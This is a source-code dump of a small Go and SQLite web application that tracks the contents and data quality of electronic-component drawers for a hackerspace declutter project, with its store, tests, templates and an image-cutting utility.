22 | background-image: url("/static/empty-box.png");
23 | background-position:center;
24 | background-repeat: no-repeat;
25 | background-color: #eeeeee;
26 | }
27 | .mystery {
28 | background-image: url("/static/mystery.png");
29 | background-position:center;
30 | background-repeat: no-repeat;
31 | background-color: #eeeeee;
32 | }
33 | .missing {
34 | background-color: #eeeeee;
35 | }
36 | .poor {
37 | background-color: #ff8888;
38 | }
39 | .fair {
40 | background-color: #ffff88;
41 | }
42 | .good {
43 | background-color: #88ff88;
44 | }
45 |
--------------------------------------------------------------------------------
/stuff/static/white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/white.png
--------------------------------------------------------------------------------
/stuff/status-handler.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "net/http"
7 | "os"
8 | "strconv"
9 | "strings"
10 | "time"
11 | )
12 |
13 | const (
14 | kStatusPage = "/status"
15 | kApiStatus = "/api/status"
16 | kApiStatusDefaultOffset = 0
17 | kApiStatusDefaultLimit = 100
18 | )
19 |
20 | type StatusHandler struct {
21 | store StuffStore
22 | template *TemplateRenderer
23 | imgPath string
24 | }
25 |
26 | func AddStatusHandler(store StuffStore, template *TemplateRenderer, imgPath string) {
27 | handler := &StatusHandler{
28 | store: store,
29 | template: template,
30 | imgPath: imgPath,
31 | }
32 | http.Handle(kStatusPage, handler)
33 | http.Handle(kApiStatus, handler)
34 | }
35 |
36 | type StatusItem struct {
37 | Number int `json:"number"`
38 | Status string `json:"status"`
39 | Separator int `json:"separator,omitempty"`
40 | HasPicture bool `json:"haspicture"`
41 | }
42 | type StatusPage struct {
43 | Items []StatusItem
44 | }
45 |
46 | type JsonStatus struct {
47 | StatusItem
48 | }
49 | type JsonApiStatusResult struct {
50 | Directlink string `json:"link"`
51 | Offset int `json:"offset"`
52 | Limit int `json:"limit"`
53 | Items []JsonStatus `json:"status"`
54 | }
55 |
56 | func fillStatusItem(store StuffStore, imageDir string, id int, item *StatusItem) {
57 | comp := store.FindById(id)
58 | item.Number = id
59 | if comp != nil {
60 | // Ad-hoc categorization...
61 | count := 0
62 | if comp.Category != "" {
63 | count++
64 | }
65 | if comp.Value != "" {
66 | count++
67 | }
68 | // Description should be set. But for simple things such
69 | // as resistors or capacitors, we see just one value
70 | // to be sufficient. Totally hacky classification :)
71 | if comp.Description != "" ||
72 | (comp.Category == "Resistor" && comp.Value != "") ||
73 | (comp.Category == "Capacitor (C)" && comp.Value != "") {
74 | count++
75 | }
76 | switch count {
77 | case 0:
78 | item.Status = "missing"
79 | case 1:
80 | item.Status = "poor"
81 | case 2:
82 | item.Status = "fair"
83 | case 3:
84 | item.Status = "good"
85 | }
86 | if strings.Contains(strings.ToLower(comp.Value), "empty") ||
87 | strings.Contains(strings.ToLower(comp.Category), "empty") {
88 | item.Status = "empty"
89 | }
90 | if strings.Contains(strings.ToLower(comp.Category), "mystery") ||
91 | strings.Contains(comp.Value, "?") {
92 | item.Status = "mystery"
93 | }
94 | } else {
95 | item.Status = "missing"
96 | }
97 | if _, err := os.Stat(fmt.Sprintf("%s/%d.jpg", imageDir, id)); err == nil {
98 | item.HasPicture = true
99 | }
100 |
101 | }
102 |
103 | func (h *StatusHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) {
104 | if strings.HasPrefix(req.URL.Path, kApiStatus) {
105 | h.apiStatus(out, req)
106 | } else {
107 | current_edit_id := -1
108 | if cookie, err := req.Cookie("last-edit"); err == nil {
109 | current_edit_id, _ = strconv.Atoi(cookie.Value)
110 | }
111 | defer ElapsedPrint("Show status", time.Now())
112 | out.Header().Set("Content-Type", "text/html; charset=utf-8")
113 | maxStatus := 2100
114 | page := &StatusPage{
115 | Items: make([]StatusItem, maxStatus),
116 | }
117 | for i := 0; i < maxStatus; i++ {
118 | fillStatusItem(h.store, h.imgPath, i, &page.Items[i])
119 | // Zero is a special case that we handle differently in template.
120 | if i > 0 {
121 | if i%100 == 0 {
122 | page.Items[i].Separator = 2
123 | } else if i%10 == 0 {
124 | page.Items[i].Separator = 1
125 | }
126 | }
127 | if i == current_edit_id {
128 | page.Items[i].Status = page.Items[i].Status + " selstatus"
129 | }
130 |
131 | }
132 | h.template.Render(out, "status-table.html", page)
133 | }
134 | }
135 |
136 | // Similarly to the Search API, gather the status data and present it in an JSON endpoint.
137 | func (h *StatusHandler) apiStatus(out http.ResponseWriter, r *http.Request) {
138 | rawOffset := r.FormValue("offset")
139 | rawLimit := r.FormValue("limit")
140 | offset := kApiStatusDefaultOffset
141 | limit := kApiStatusDefaultLimit
142 | maxStatus := 2100
143 |
144 | // Input validation, restrict inputs from 0 to maxStatus
145 | if rawOffset != "" {
146 | parsed_offset, err := strconv.Atoi(rawOffset)
147 | if err != nil || parsed_offset < 0 {
148 | offset = kApiStatusDefaultOffset
149 | } else {
150 | offset = parsed_offset
151 | }
152 | }
153 | if rawLimit != "" {
154 | parsed_limit, err := strconv.Atoi(rawLimit)
155 | if err != nil || parsed_limit < 0 {
156 | limit = kApiStatusDefaultLimit
157 | } else {
158 | limit = parsed_limit
159 | }
160 | }
161 | if offset+limit > maxStatus {
162 | offset, limit = 0, maxStatus
163 | }
164 |
165 | out.Header().Set("Cache-Control", "max-age=10")
166 | out.Header().Set("Content-Type", "application/json")
167 |
168 | page := &StatusPage{
169 | Items: make([]StatusItem, limit),
170 | }
171 |
172 | for i := offset; i < offset+limit; i++ {
173 | fillStatusItem(h.store, h.imgPath, i, &page.Items[i-offset])
174 | }
175 |
176 | jsonResult := &JsonApiStatusResult{
177 | Directlink: encodeUriComponent(fmt.Sprintf("/status?offset=%d&limit=%d", offset, limit)),
178 | Offset: offset,
179 | Limit: limit,
180 | Items: make([]JsonStatus, limit),
181 | }
182 |
183 | for i := 0; i < limit; i++ {
184 | jsonResult.Items[i].StatusItem = page.Items[i]
185 | }
186 |
187 | json, _ := json.MarshalIndent(jsonResult, "", " ")
188 | out.Write(json)
189 | }
190 |
--------------------------------------------------------------------------------
/stuff/stuff-store-interface.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | type Component struct {
4 | Id int `json:"id"`
5 | Equiv_set int `json:"equiv_set,omitempty"`
6 | Value string `json:"value"`
7 | Category string `json:"category"`
8 | Description string `json:"description"`
9 | Quantity string `json:"quantity"` // at this point just a string.
10 | Notes string `json:"notes,omitempty"`
11 | Datasheet_url string `json:"datasheet_url,omitempty"`
12 | Drawersize int `json:"drawersize,omitempty"`
13 | Footprint string `json:"footprint,omitempty"`
14 | }
15 |
16 | // Modify a user pointer. Returns 'true' if the changes should be commited.
17 | type ModifyFun func(comp *Component) bool
18 |
19 | // Interface to our storage backend.
20 | type StuffStore interface {
21 | // Find a component by its ID. Returns nil if it does not exist. Don't
22 | // modify the returned pointer.
23 | FindById(id int) *Component
24 |
25 | // Edit record of given ID. If ID is new, it is inserted and an empty
26 | // record returned to be edited.
27 | // Returns if record has been saved, possibly with message.
28 | // This does _not_ influence the equivalence set settings, use
29 | // the JoinSet()/LeaveSet() functions for that.
30 | EditRecord(id int, updater ModifyFun) (bool, string)
31 |
32 | // Have component with id join set with given ID.
33 | JoinSet(id int, equiv_set int)
34 |
35 | // Leave any set we are in and go back to the default set
36 | // (which is equiv_set == id)
37 | LeaveSet(id int)
38 |
39 | // Get possible matching components of given component,
40 | // including all the components that are in the sets the matches
41 | // are in.
42 | // Ordered by equivalence set, id.
43 | MatchingEquivSetForComponent(component int) []*Component
44 |
45 | // Given a search term, returns all the components that match, ordered
46 | // by some internal scoring system. Don't modify the returned objects!
47 | Search(search_term string) *SearchResult
48 |
49 | // Iterate through all elements.
50 | IterateAll(func(comp *Component) bool)
51 | }
52 |
--------------------------------------------------------------------------------
/stuff/stuff-store-sqlite.go:
--------------------------------------------------------------------------------
1 | // Implementation of the stuff-store-interface for sqlite
2 | package main
3 |
4 | import (
5 | "database/sql"
6 | "encoding/json"
7 | "log"
8 | "time"
9 | )
10 |
11 | // Initial phase: while collecting the raw information, a single flat table
12 | // is sufficient.
13 | var create_schema string = `
14 | create table component (
15 | id int constraint pk_component primary key,
16 | equiv_set int not null, -- equivlennce set; points to lowest
17 | -- component in set.
18 | category varchar(40), -- should be some foreign key
19 | value varchar(80), -- identifying the component value
20 | description text, -- additional information
21 | notes text, -- user notes, can contain hashtags.
22 | datasheet_url text, -- data sheet URL if available
23 | vendor varchar(30), -- should be foreign key
24 | auto_notes text, -- auto generated notes, might aid in search
25 | footprint varchar(30),
26 | quantity varchar(5), -- Initially text to allow freeform e.g '< 50'
27 | drawersize int, -- 0=small, 1=medium, 2=large
28 |
29 | created timestamp,
30 | updated timestamp,
31 |
32 | -- also, we need the following eventually
33 | -- labeltext, drawer-type, location. Several of these should have foreign keys.
34 |
35 | foreign key(equiv_set) references component(id)
36 | );
37 | `
38 |
39 | func nullIfEmpty(s string) *string {
40 | if s == "" {
41 | return nil
42 | } else {
43 | return &s
44 | }
45 | }
46 | func emptyIfNull(s *string) string {
47 | if s == nil {
48 | return ""
49 | } else {
50 | return *s
51 | }
52 | }
53 |
54 | func row2Component(row *sql.Rows) (*Component, error) {
55 | type ReadRecord struct {
56 | id int
57 | equiv_set int
58 | category *string
59 | value *string
60 | description *string
61 | notes *string
62 | quantity *string
63 | datasheet *string
64 | drawersize *int
65 | footprint *string
66 | }
67 | rec := &ReadRecord{}
68 | err := row.Scan(&rec.id, &rec.category, &rec.value,
69 | &rec.description, &rec.notes, &rec.quantity, &rec.datasheet,
70 | &rec.drawersize, &rec.footprint, &rec.equiv_set)
71 | drawersize := 0
72 | if rec.drawersize != nil {
73 | drawersize = *rec.drawersize
74 | }
75 | switch {
76 | case err == sql.ErrNoRows:
77 | return nil, nil // no rows are ok error.
78 | case err != nil:
79 | log.Fatal(err)
80 | default:
81 | result := &Component{
82 | Id: rec.id,
83 | Equiv_set: rec.equiv_set,
84 | Category: emptyIfNull(rec.category),
85 | Value: emptyIfNull(rec.value),
86 | Description: emptyIfNull(rec.description),
87 | Notes: emptyIfNull(rec.notes),
88 | Quantity: emptyIfNull(rec.quantity),
89 | Datasheet_url: emptyIfNull(rec.datasheet),
90 | Drawersize: drawersize,
91 | Footprint: emptyIfNull(rec.footprint),
92 | }
93 | return result, nil
94 | }
95 | return nil, nil
96 | }
97 |
98 | type SqlStuffStore struct {
99 | db *sql.DB
100 | findById *sql.Stmt
101 | insertRecord *sql.Stmt
102 | updateRecord *sql.Stmt
103 | joinSet *sql.Stmt
104 | leaveSet *sql.Stmt
105 | findEquivById *sql.Stmt
106 | selectAll *sql.Stmt
107 | fts *FulltextSearch
108 | }
109 |
110 | func NewSqlStuffStore(db *sql.DB, create_tables bool) (*SqlStuffStore, error) {
111 | if create_tables {
112 | _, err := db.Exec(create_schema)
113 | if err != nil {
114 | log.Fatal(err)
115 | }
116 | }
117 | // All the fields in a component.
118 | all_fields := "category, value, description, notes, quantity, datasheet_url,drawersize,footprint,equiv_set"
119 | findById, err := db.Prepare("SELECT id, " + all_fields + " FROM component where id=$1")
120 | if err != nil {
121 | return nil, err
122 | }
123 |
124 | // For writing a component, we need insert and update. In the full
125 | // component update, we explicitly do not want to update the
126 | // membership to the set, so we don't touch these fields.
127 | insertRecord, err := db.Prepare("INSERT INTO component (id, created, updated, " + all_fields + ") " +
128 | " VALUES (?1, ?2, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?1)")
129 | if err != nil {
130 | return nil, err
131 | }
132 | updateRecord, err := db.Prepare("UPDATE component SET " +
133 | "updated=?2, category=?3, value=?4, description=?5, notes=?6, quantity=?7, datasheet_url=?8, drawersize=?9, footprint=?10 WHERE id=?1")
134 | if err != nil {
135 | return nil, err
136 | }
137 |
138 | // Statements for set operations.
139 | joinSet, err := db.Prepare("UPDATE component SET equiv_set = MIN(?1, ?2) WHERE equiv_set = ?2 OR id = ?1")
140 | if err != nil {
141 | return nil, err
142 | }
143 |
144 | leaveSet, err := db.Prepare("UPDATE component SET equiv_set = CASE WHEN id = ?1 THEN ?1 ELSE (select min(id) from component where equiv_set = ?2 and id != ?1) end where equiv_set = ?2")
145 | if err != nil {
146 | return nil, err
147 | }
148 |
149 | // We want all articles that match the same (category, name), but also
150 | // all that are in the sets that are covered in any set the matching
151 | // components are in.
152 | // Todo: maybe in-memory and more lenient way to match values
153 | findEquivById, err := db.Prepare(`
154 | SELECT id, ` + all_fields + ` FROM component where equiv_set in
155 | (select c2.equiv_set from component c1, component c2
156 | where lower(c1.value) = lower(c2.value)
157 | and c1.category = c2.category and c1.id = ?1)
158 | ORDER BY equiv_set, id`)
159 | if err != nil {
160 | return nil, err
161 | }
162 |
163 | selectAll, err := db.Prepare("SELECT id, " + all_fields + " FROM component ORDER BY id")
164 | if err != nil {
165 | return nil, err
166 | }
167 | // Populate fts with existing components.
168 | fts := NewFulltextSearch()
169 | rows, _ := selectAll.Query()
170 | count := 0
171 | for rows != nil && rows.Next() {
172 | c, _ := row2Component(rows)
173 | fts.Update(c)
174 | count++
175 | }
176 | rows.Close()
177 |
178 | log.Printf("Prepopulated full text search with %d items", count)
179 | return &SqlStuffStore{
180 | db: db,
181 | findById: findById,
182 | insertRecord: insertRecord,
183 | updateRecord: updateRecord,
184 | joinSet: joinSet,
185 | leaveSet: leaveSet,
186 | findEquivById: findEquivById,
187 | selectAll: selectAll,
188 | fts: fts}, nil
189 | }
190 |
191 | func (d *SqlStuffStore) FindById(id int) *Component {
192 | rows, _ := d.findById.Query(id)
193 | if rows != nil {
194 | defer rows.Close()
195 | if rows.Next() {
196 | c, _ := row2Component(rows)
197 | return c
198 | }
199 | }
200 | return nil
201 | }
202 |
203 | func (d *SqlStuffStore) IterateAll(callback func(comp *Component) bool) {
204 | rows, _ := d.selectAll.Query()
205 | for rows != nil && rows.Next() {
206 | c, _ := row2Component(rows)
207 | if !callback(c) {
208 | break
209 | }
210 | }
211 | rows.Close()
212 | }
213 |
214 | func (d *SqlStuffStore) EditRecord(id int, update ModifyFun) (bool, string) {
215 | needsInsert := false
216 | rec := d.FindById(id)
217 | if rec == nil {
218 | needsInsert = true
219 | rec = &Component{Id: id}
220 | }
221 | before := *rec
222 | if update(rec) {
223 | if rec.Id != id {
224 | return false, "ID was modified."
225 | }
226 | // We're not in the business in modifying this.
227 | rec.Equiv_set = before.Equiv_set
228 |
229 | if *rec == before {
230 | return false, "No change."
231 | }
232 | var err error
233 |
234 | var toExec *sql.Stmt
235 | if needsInsert {
236 | toExec = d.insertRecord
237 | } else {
238 | toExec = d.updateRecord
239 | }
240 | result, err := toExec.Exec(id, time.Now(),
241 | nullIfEmpty(rec.Category), nullIfEmpty(rec.Value),
242 | nullIfEmpty(rec.Description), nullIfEmpty(rec.Notes),
243 | nullIfEmpty(rec.Quantity), nullIfEmpty(rec.Datasheet_url),
244 | rec.Drawersize, rec.Footprint)
245 |
246 | if err != nil {
247 | log.Printf("Oops: %s", err)
248 | return false, err.Error()
249 | }
250 | affected, _ := result.RowsAffected()
251 | if affected != 1 {
252 | log.Printf("Oops, expected 1 row to update but was %d", affected)
253 | return false, "ERR: not updated"
254 | }
255 | d.fts.Update(rec)
256 |
257 | json, _ := json.Marshal(rec)
258 | log.Printf("STORE %s", json)
259 |
260 | return true, ""
261 | }
262 | return false, ""
263 | }
264 |
265 | func (d *SqlStuffStore) JoinSet(id int, set int) {
266 | d.LeaveSet(id) // precondition.
267 | _, err := d.joinSet.Exec(id, set)
268 | if err != nil {
269 | log.Printf("Best effort JoinSet() fail: %v.", err)
270 | }
271 | }
272 |
273 | func (d *SqlStuffStore) LeaveSet(id int) {
274 | // The limited way SQLite works, we have to find the equivalence
275 | // set first before we can update. Not really efficient, and we
276 | // would need a transaction here, but, yeah, good enough for a
277 | // 0.001 qps service :)
278 | c := d.FindById(id)
279 | if c != nil {
280 | _, err := d.leaveSet.Exec(id, c.Equiv_set)
281 | if err != nil {
282 | log.Printf("Best effort LeaveSet() fail: %v.", err)
283 | }
284 | }
285 | }
286 |
287 | func (d *SqlStuffStore) MatchingEquivSetForComponent(id int) []*Component {
288 | result := make([]*Component, 0, 10)
289 | rows, _ := d.findEquivById.Query(id)
290 | for rows != nil && rows.Next() {
291 | c, _ := row2Component(rows)
292 | result = append(result, c)
293 | }
294 | rows.Close()
295 | return result
296 | }
297 |
298 | func (d *SqlStuffStore) Search(search_term string) *SearchResult {
299 | return d.fts.Search(search_term)
300 | }
301 |
--------------------------------------------------------------------------------
/stuff/stuff-store-sqlite_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | _ "github.com/mattn/go-sqlite3"
7 | "log"
8 | "os"
9 | "syscall"
10 | "testing"
11 | )
12 |
13 | func ExpectTrue(t *testing.T, condition bool, message string) {
14 | if !condition {
15 | t.Errorf("Expected to succeed, but didn't: %s", message)
16 | }
17 | }
18 |
19 | func TestBasicStore(t *testing.T) {
20 | dbfile, _ := os.CreateTemp("", "basic-store")
21 | defer syscall.Unlink(dbfile.Name())
22 | db, err := sql.Open("sqlite3", dbfile.Name())
23 | if err != nil {
24 | log.Fatal(err)
25 | }
26 | store, _ := NewSqlStuffStore(db, true)
27 |
28 | ExpectTrue(t, store.FindById(1) == nil, "Expected id:1 not to exist.")
29 |
30 | // Create record 1, set description
31 | store.EditRecord(1, func(c *Component) bool {
32 | c.Description = "foo"
33 | return true
34 | })
35 |
36 | ExpectTrue(t, store.FindById(1) != nil, "Expected id:1 to exist now.")
37 |
38 | // Edit it, but decide not to proceed
39 | store.EditRecord(1, func(c *Component) bool {
40 | ExpectTrue(t, c.Description == "foo", "Initial value set")
41 | c.Description = "bar"
42 | return false // don't commit
43 | })
44 | ExpectTrue(t, store.FindById(1).Description == "foo", "Unchanged in second tx")
45 |
46 | // Now change it
47 | store.EditRecord(1, func(c *Component) bool {
48 | c.Description = "bar"
49 | return true
50 | })
51 | ExpectTrue(t, store.FindById(1).Description == "bar", "Description change")
52 | }
53 |
54 | func TestJoinSets(t *testing.T) {
55 | dbfile, _ := os.CreateTemp("", "join-sets")
56 | defer syscall.Unlink(dbfile.Name())
57 | db, err := sql.Open("sqlite3", dbfile.Name())
58 | if err != nil {
59 | log.Fatal(err)
60 | }
61 | store, _ := NewSqlStuffStore(db, true)
62 |
63 | // Three components, each in their own equiv-class
64 | store.EditRecord(1, func(c *Component) bool { c.Value = "one"; return true })
65 | store.EditRecord(2, func(c *Component) bool { c.Value = "two"; return true })
66 | store.EditRecord(3, func(c *Component) bool { c.Value = "three"; return true })
67 |
68 | // Expecting baseline.
69 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#1")
70 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#2")
71 | ExpectTrue(t, store.FindById(3).Equiv_set == 3, "#3")
72 |
73 | // Component 2 join set 3. Final equivalence-set is lowest
74 | // id of the result set.
75 | store.JoinSet(2, 3)
76 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#4")
77 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#5")
78 | ExpectTrue(t, store.FindById(3).Equiv_set == 2, "#6")
79 |
80 | // Break out article three out of this set.
81 | store.LeaveSet(3)
82 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#7")
83 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#8")
84 | ExpectTrue(t, store.FindById(3).Equiv_set == 3, "#9")
85 |
86 | // Join everything together.
87 | store.JoinSet(3, 1)
88 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#10")
89 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#11")
90 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#12")
91 | store.JoinSet(2, 1)
92 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#12")
93 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#13")
94 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#14")
95 |
96 | // Lowest component leaving the set leaves the equivalence set
97 | // at the lowest of the remaining.
98 | store.LeaveSet(1)
99 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#15")
100 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#16")
101 | ExpectTrue(t, store.FindById(3).Equiv_set == 2, "#17")
102 |
103 | // If we add lowest again, then the new equiv-set is back to 1.
104 | store.JoinSet(1, 2)
105 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#18")
106 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#19")
107 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#20")
108 |
109 | store.LeaveSet(2)
110 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#18")
111 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#19")
112 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#20")
113 | }
114 |
115 | func TestLeaveSetRegression(t *testing.T) {
116 | dbfile, _ := os.CreateTemp("", "join-sets")
117 | defer syscall.Unlink(dbfile.Name())
118 | db, err := sql.Open("sqlite3", dbfile.Name())
119 | if err != nil {
120 | log.Fatal(err)
121 | }
122 | store, _ := NewSqlStuffStore(db, true)
123 |
124 | // We store components in a slightly different
125 | // sequence.
126 | store.EditRecord(2, func(c *Component) bool { c.Value = "two"; return true })
127 | store.EditRecord(1, func(c *Component) bool { c.Value = "one"; return true })
128 | store.EditRecord(3, func(c *Component) bool { c.Value = "three"; return true })
129 |
130 | store.JoinSet(2, 1)
131 | store.JoinSet(3, 1)
132 |
133 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#1")
134 | ExpectTrue(t, store.FindById(2).Equiv_set == 1, "#2")
135 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#3")
136 |
137 | // The way LeaveSet() was implemented, it used an SQL in a way that
138 | // SQLite didn't process correctly wrt. sequence of operations.
139 | store.LeaveSet(2)
140 | ExpectTrue(t, store.FindById(1).Equiv_set == 1, "#4")
141 | ExpectTrue(t, store.FindById(2).Equiv_set == 2, "#5")
142 | ExpectTrue(t, store.FindById(3).Equiv_set == 1, "#6")
143 | }
144 |
145 | func TestQueryEquiv(t *testing.T) {
146 | dbfile, _ := os.CreateTemp("", "equiv-query")
147 | defer syscall.Unlink(dbfile.Name())
148 | db, err := sql.Open("sqlite3", dbfile.Name())
149 | if err != nil {
150 | log.Fatal(err)
151 | }
152 | store, _ := NewSqlStuffStore(db, true)
153 |
154 | // Three components, each in their own equiv-class
155 | store.EditRecord(1, func(c *Component) bool {
156 | c.Value = "10k"
157 | c.Category = "Resist"
158 | return true
159 | })
160 | store.EditRecord(2, func(c *Component) bool {
161 | c.Value = "foo"
162 | c.Category = "Resist"
163 | return true
164 | })
165 | store.EditRecord(3, func(c *Component) bool {
166 | c.Value = "three"
167 | c.Category = "Resist"
168 | return true
169 | })
170 | store.EditRecord(4, func(c *Component) bool {
171 | c.Value = "10K" // different case, but should work
172 | c.Category = "Resist"
173 | return true
174 | })
175 |
176 | matching := store.MatchingEquivSetForComponent(1)
177 | ExpectTrue(t, len(matching) == 2, fmt.Sprintf("Expected 2 10k, got %d", len(matching)))
178 | ExpectTrue(t, matching[0].Id == 1, "#1")
179 | ExpectTrue(t, matching[1].Id == 4, "#2")
180 |
181 | // Add one component to the set one is in. Even though it does not
182 | // match the value name, it should show up in the result
183 | store.JoinSet(2, 1)
184 | matching = store.MatchingEquivSetForComponent(1)
185 | ExpectTrue(t, len(matching) == 3, fmt.Sprintf("Expected 3 got %d", len(matching)))
186 | ExpectTrue(t, matching[0].Id == 1, "#10")
187 | ExpectTrue(t, matching[1].Id == 2, "#11")
188 | ExpectTrue(t, matching[2].Id == 4, "#12")
189 | }
190 |
--------------------------------------------------------------------------------
/stuff/template-renderer.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "html/template"
5 | "io"
6 | "log"
7 | "net/http"
8 | "strings"
9 | )
10 |
11 | type TemplateRenderer struct {
12 | baseDir string
13 | cachedTemplates *template.Template
14 | doCache bool
15 | }
16 |
17 | func NewTemplateRenderer(baseDir string, doCache bool) *TemplateRenderer {
18 | result := &TemplateRenderer{
19 | baseDir: baseDir,
20 | doCache: doCache,
21 | }
22 | if doCache {
23 | // Ideally, we would like to register these later in the
24 | // handlers, but looks like we need to do that in one bunch.
25 | // So, TODO: wait until everything is registered, then
26 | // do the registration. Lazy for now.
27 | result.cachedTemplates = template.Must(template.ParseFiles(
28 | // Application templates
29 | baseDir+"/form-template.html",
30 | baseDir+"/display-template.html",
31 | baseDir+"/status-table.html",
32 | baseDir+"/set-drag-drop.html",
33 | // Templates to create component images
34 | baseDir+"/component/category-Diode.svg",
35 | baseDir+"/component/category-LED.svg",
36 | baseDir+"/component/category-Capacitor.svg",
37 | // Value rendering of resistors
38 | baseDir+"/component/4-Band_Resistor.svg",
39 | baseDir+"/component/5-Band_Resistor.svg",
40 | // Some common packages
41 | baseDir+"/component/package-TO-39.svg",
42 | baseDir+"/component/package-TO-220.svg",
43 | baseDir+"/component/package-DIP-14.svg",
44 | baseDir+"/component/package-DIP-16.svg",
45 | baseDir+"/component/package-DIP-28.svg"))
46 | }
47 | return result
48 | }
49 |
50 | func setContentTypeFromTemplateName(template_name string, header http.Header) {
51 | switch {
52 | case strings.HasSuffix(template_name, ".svg"):
53 | header.Set("Content-Type", "image/svg+xml;charset=utf-8")
54 | default:
55 | header.Set("Content-Type", "text/html; charset=utf-8")
56 | }
57 | }
58 |
59 | func (h *TemplateRenderer) Render(w http.ResponseWriter, template_name string, p interface{}) bool {
60 | return h.RenderWithHttpCode(w, w, http.StatusOK, template_name, p)
61 | }
62 |
63 | // for now, render templates directly to easier edit them.
64 | func (h *TemplateRenderer) RenderWithHttpCode(w http.ResponseWriter, output_writer io.Writer, http_code int, template_name string, p interface{}) bool {
65 | var err error
66 | var t *template.Template
67 | if output_writer == nil {
68 | output_writer = w
69 | }
70 | if h.doCache {
71 | t = h.cachedTemplates.Lookup(template_name)
72 | if t == nil {
73 | return false
74 | }
75 | setContentTypeFromTemplateName(template_name, w.Header())
76 | w.WriteHeader(http_code)
77 | } else {
78 | t, err = template.ParseFiles(h.baseDir + "/" + template_name)
79 | if err != nil {
80 | t, err = template.ParseFiles(h.baseDir + "/component/" + template_name)
81 | if err != nil {
82 | log.Printf("%s: %s", template_name, err)
83 | return false
84 | }
85 | }
86 | setContentTypeFromTemplateName(template_name, w.Header())
87 | w.WriteHeader(http_code)
88 | }
89 | err = t.Execute(output_writer, p)
90 | if err != nil {
91 | log.Printf("Template broken %s (%s)", template_name, err)
92 | return false
93 | }
94 | return true
95 | }
96 |
--------------------------------------------------------------------------------
/stuff/template/component/4-Band_Resistor.svg:
--------------------------------------------------------------------------------
1 |
143 |
--------------------------------------------------------------------------------
/stuff/template/component/5-Band_Resistor.svg:
--------------------------------------------------------------------------------
1 |
161 |
--------------------------------------------------------------------------------
/stuff/template/component/README:
--------------------------------------------------------------------------------
1 | Package-SVGs have been derived from the SVG components found
2 | in this project:
3 |
4 | http://www.sebulli.com/BlackBoard/Blackboard_incl_SVG_14Nov2012.zip
5 |
6 | Name the file so that it matches the canonicalized package name, with "package-"
7 | prefix and ".svg" suffix (e.g. "package-DIP-16.svg").
8 |
9 | For DIP-packages, the size to 200x160 (easiest: manually in the
17 |
--------------------------------------------------------------------------------
/stuff/template/status-table.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Status: Noisebridge Electronic Component Declutter Project
5 |
6 |
20 |
21 |
22 |
23 | Status of data quality
24 |
25 | Legend: Entry missing |
26 | Poor: Only one field |
27 | Fair: Two fields |
28 | Good; Category, Name and Description
29 |
30 |
31 |
32 |
33 | |
34 | A square in the top corner indicates that there is a picture available.
35 | |
36 |
37 |
38 | |
39 | Empty drawers with numbers are crossed out.
40 | |
41 |
42 |
43 | |
44 | Unknown component. Needs revisit.
45 | |
46 |
47 |
48 | 000
49 |
50 | {{ range $element := .Items }}
51 | {{ if eq $element.Separator 1}}
{{end}}
52 | {{ if eq $element.Separator 2}}
60 |
61 |
--------------------------------------------------------------------------------
/utils/README.md:
--------------------------------------------------------------------------------
1 | Some one-off utilities. Here mostly for acquiring images.
--------------------------------------------------------------------------------
/utils/image-cut/Makefile:
--------------------------------------------------------------------------------
1 |
2 | image-cut: image-cut.go
3 | go build
4 |
5 | clean:
6 | rm -f image-cut
7 |
--------------------------------------------------------------------------------
/utils/image-cut/image-cut.go:
--------------------------------------------------------------------------------
1 | // Chop up an rectangular image of a grid box.
2 | package main
3 |
4 | import (
5 | "flag"
6 | "fmt"
7 | "image"
8 | "image/color"
9 | "image/jpeg"
10 | "log"
11 | "os"
12 | "path"
13 | )
14 |
15 | type SubImage struct {
16 | image image.Image
17 | rect image.Rectangle
18 | }
19 |
20 | func NewSubImage(m image.Image, r image.Rectangle) image.Image {
21 | return &SubImage{
22 | image: m,
23 | rect: r,
24 | }
25 | }
26 | func (s *SubImage) ColorModel() color.Model {
27 | return s.image.ColorModel()
28 | }
29 |
30 | func (s *SubImage) Bounds() image.Rectangle {
31 | return s.rect
32 | }
33 | func (s *SubImage) At(x, y int) color.Color {
34 | return s.image.At(x, y)
35 | }
36 |
37 | func usage(message string) {
38 | if message != "" {
39 | fmt.Printf("%s\n", message)
40 | }
41 |
42 | fmt.Printf("usage:\nimage-cut [flags] [...]\n" +
43 | "Flags:\n" +
44 | " --out_dir : Directory to write the images to\n" +
45 | " --xdiv : Number of x-divisions\n" +
46 | " --ydiv : Number of y-divisions\n" +
47 | " --border_percent : Percent of border removed from each sub-image\n")
48 | os.Exit(1)
49 | }
50 |
51 | func main() {
52 | xdivs := flag.Int("xdiv", 8, "Divisions in X direction")
